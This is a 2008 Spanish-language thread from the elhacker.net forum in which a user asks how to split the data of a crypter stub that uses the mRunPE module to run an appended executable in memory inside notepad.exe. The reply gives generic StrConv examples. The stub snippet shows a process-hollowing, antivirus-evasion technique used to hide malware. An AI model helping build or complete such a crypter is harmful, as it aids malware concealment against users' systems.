Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: aaronduran2 en 17 Octubre 2008, 22:58 pm



Título: Problemas con un archivo...
Publicado por: aaronduran2 en 17 Octubre 2008, 22:58 pm
Hola. Estoy utilizando el módulo de cobein mRunPE para ejecutar un archivo en memoria. Lo que hago es abrir el archivo y obtener los datos, que los guardo en una variable Byte. El problemas es que necesito hacer un split de los datos, ya que es el stub de un crypter, por lo que no soy capaz de hacerlo, y que luego pueda utilizar la función RunPE con el valor que yo desee del split. ¿Alguien me puede ayudar?

Gracias de antemano.


Título: Re: Problemas con un archivo...
Publicado por: Karcrack en 17 Octubre 2008, 23:00 pm
Creo que podrias usar esta funcion:
Citar
StrConv()

Si necesitas un ejemplo de uso pidelo ;)

Saludos ;D


Título: Re: Problemas con un archivo...
Publicado por: aaronduran2 en 17 Octubre 2008, 23:01 pm
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.

EDITO: Utilizo esto actualmente en el stub.

Código
  1. Sub Main()
  2.    Dim b_Datos As Byte
  3.    Dim v_Datos As Variant
  4.    Open Ruta For Binary As #1
  5.        Get #1, EOF(1), b_Datos
  6.    Close #1
  7.    'Ahora necesito hacer el split para separar el archivo original del stub.
  8.    v_Datos = Split(b_Datos, "|-|-|")
  9.    'Pero me da error.
  10.    RunPE v_Datos(1), "notepad.exe"
  11. End Sub
  12.  


Título: Re: Problemas con un archivo...
Publicado por: Karcrack en 17 Octubre 2008, 23:07 pm
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.
Por supuesto :D:

Código
  1.    Dim sCadena     As String
  2.    Dim bArray()    As Byte
  3.    Dim bArray2()   As Byte
  4.  
  5.    sCadena = "Ejemplo de uso de StrConv Por Karcrack"
  6.  
  7.    'Pasamos la Array a Cadena
  8.    'sCadena = StrConv(bArray, vbUnicode)
  9.    'Modificamos la cadena
  10.    sCadena = UCase$(sCadena)
  11.    'Pasamos la Cadena a Array
  12.    bArray2 = StrConv(sCadena, vbFromUnicode)

Código
  1.    Dim sCadena     As String
  2.    Dim bArray()    As Byte
  3.    Dim bArray2()   As Byte
  4.  
  5.    Open "C:\Texto.txt" For Binary As #1
  6.        ReDim bArray(0 To LOF(1) - 1)
  7.        Get #1, , bArray
  8.    Close #1
  9.  
  10.    'Pasamos la Array a Cadena
  11.    sCadena = StrConv(bArray, vbUnicode)
  12.    'Modificamos la cadena
  13.    sCadena = Left$(sCadena, 5)
  14.    'Pasamos la Cadena a Array
  15.    bArray2 = StrConv(sCadena, vbFromUnicode)
Si no lo entiendes ya sabes ;)

Saludos :D


Título: Re: Problemas con un archivo...
Publicado por: aaronduran2 en 17 Octubre 2008, 23:18 pm
Ya está, gracias por los ejemplos, Karcrack.

Saludos.